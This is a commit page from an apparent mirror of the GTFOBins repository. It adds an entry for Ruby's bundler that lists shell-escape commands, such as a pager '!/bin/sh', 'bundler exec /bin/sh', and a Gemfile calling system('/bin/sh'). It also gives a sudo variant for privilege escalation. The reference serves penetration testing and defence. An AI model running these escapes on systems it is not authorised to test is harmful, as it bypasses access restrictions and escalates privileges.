mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create bundler.md
This commit is contained in:
parent
0bd4ab2b27
commit
3104f1d971
30
_gtfobins/bundler.md
Normal file
30
_gtfobins/bundler.md
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
bundler help
|
||||||
|
!/bin/sh
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
touch $TF/Gemfile
|
||||||
|
cd $TF
|
||||||
|
bundler exec /bin/sh
|
||||||
|
- description: This spawns an interactive shell via [`irb`](/gtfobins/irb/).
|
||||||
|
code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
touch $TF/Gemfile
|
||||||
|
cd $TF
|
||||||
|
bundler console
|
||||||
|
system('/bin/sh -c /bin/sh')
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'system("/bin/sh")' > $TF/Gemfile
|
||||||
|
cd $TF
|
||||||
|
bundler install
|
||||||
|
sudo:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
sudo bundler help
|
||||||
|
!/bin/sh
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user